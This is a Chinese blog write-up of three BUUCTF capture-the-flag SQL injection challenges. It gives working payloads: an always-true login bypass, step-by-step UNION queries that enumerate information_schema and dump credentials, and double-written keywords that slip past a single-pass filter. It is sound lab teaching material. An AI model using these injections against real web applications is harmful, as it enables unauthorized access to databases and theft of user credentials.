这几道题我都是在BUUCTF里写到的 对于我们sql注入入门还是很不错的几道题

[极客大挑战 2019]EasySQL

看题目就知道是sql注入,还说是很简单的,那倒要看看有多简单

在这里插入图片描述打开网页在账号密码那都输入上’1看看在这里插入图片描述果然有明显的回响,然后输入一下我们的永真语句试试在这里插入图片描述好家伙,真就简单的直接出flag了在这里插入图片描述
最近也在学一写sql注入的内容,看了几期视频,发现在构造1' or 1 = 1#’时,sql代码本身是自带有' '两个引号的然后你加入1'之后他就会与前面的单引号自动闭合'1''输入之后就会得到这样的结果,多出了一个单引号,也正是这个原因我们可以通过加'来判断这个是否存在sql注入,如果存在那么多出了单引号就会报错,从而判断出有sql注入。当然这里的1' or 1 = 1#中的#是注释符也就是说把这个语句后面多出的单引号注释了,这样他就无法报错并且无法执行后面的语句,从而达到我们的目的。其中or就是“或”语句连接1和1=1,如果1是错误的,那就执行or后面的1=1永为真,从而可以实现 sql注入,爆出flag。
这里我还有个疑问,就是我将#注释符换成了-- 注释符就好像成功不了了(并且我在--后面加过空格了),各位大佬多多指教,评论区可以留言告知,呜呜

[极客大挑战 2019]LoveSQL

这题需要用到联合查询,不懂联合查询的可以看看我之前写的一篇博客,挺详细的

https://blog.csdn.net/qq_51439282/article/details/110825020

在这里插入图片描述

打开界面发现又是他,我们像上次一样试试永真语句

在这里插入图片描述

好家伙,真就出来flag了??

看起像md5就拿去在线网站解密了

在这里插入图片描述

发现解不出,看来并没有这么简单,是用来迷惑人的

既然这样那就只好一步一步来查询数据了

查询数据在之前的文章提到过一般分为四个步骤:
第一步:获取当前数据库名称及当前数据库用户
第二步:获取表名称
第三步:获取列名称
第四步:获取数据

先进行第一步:获取当前数据库名称及当前数据库用户

对他进行注入获取数据库名称

1' union select 1,2,database()#

在这里插入图片描述

在这里插入图片描述

获取到当前数据库名称为geek

那就进行第二步:获取表名称

1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='geek' #

在这里插入图片描述

在这里插入图片描述

注入后得到两个表名称,看着l0ve1ysq1这个表名称和题目比较像就先查询他的数据

第三步:查询列名称

1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1' #

在这里插入图片描述

在这里插入图片描述

查询到列名称:id,username,password

那就可以进行最后一步:获取数据

1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1#

在这里插入图片描述

在这里插入图片描述

这样就得到flag啦

[极客大挑战 2019]BabySQL

看到又是他直接永真语句来一波
在这里插入图片描述

在这里插入图片描述

呜呜这次直接报错了,看来得按流程走了,继续我们的查询数据四步走~

第一步:获取当前数据库名称及当前数据库用户

直接构造1' union select 1,2,database()#

在这里插入图片描述

在这里插入图片描述

我们发现他竟然报错了,果然如他所说进行了过滤

可以发现他对union以及select都进行了过滤

我们现在可以试试双写能不能避开过滤

那就构造1' ununionion seselectlect 1,2,database()#

在这里插入图片描述

在这里插入图片描述

oh~出来了,得到了数据库名select。

看来是可以用双写来避开过滤,原理应该是你输入ununionion的时候然后里面检测到union这五个连在一起的字母,就会进行过滤,不过你还会剩下一个un和一个ion,中间的消失之后那就还剩一个union,自然可以继续查询,这里他应该只能过滤一次,所以双写能避开这种过滤。

进行第二步:获取表名称

1' ununionion seselectlect 1,2,group_concat(table_name) from information_schema.tables where table_schema='geek'#

在这里插入图片描述

发现报错了。。。。

经过观察原来from information where应该都过滤掉了,那就都试试双写(一般同一题过滤类型都一样吧,果断试试)

尝试构造:

1' ununionion seselectlect 1,2,group_concat(table_name) frfromom inforinformationmation_schema.tables whwhereere table_schema='geek'#

在这里插入图片描述

发现他还是报错了,看来还是有问题

经过观察报错可以发现or都不见了,原来是他没有过滤整个information,只对or进行了过滤,那我们只要进行双写or就可以啦~

那就构造1' ununionion seselectlect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='geek'#

在这里插入图片描述

这样就获得了表名称

按照老样子我们写来查询和题目名字差不多的表b4bsql

进行第三步:获取列名称

直接构造
1' ununionion seselectlect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql'#

在这里插入图片描述

很顺利的拿到了列名称

进行最后一步:获取数据

直接构造1' ununionion seselectlect 1,2,group_concat(id,username,password) frfromom b4bsql#

在这里插入图片描述

oh~no,忘记了将password里面的or给双写了

那就构造1' ununionion seselectlect 1,2,group_concat(id,username,passwoorrd) frfromom b4bsql#

在这里插入图片描述

成功爆出flag,大功告成!!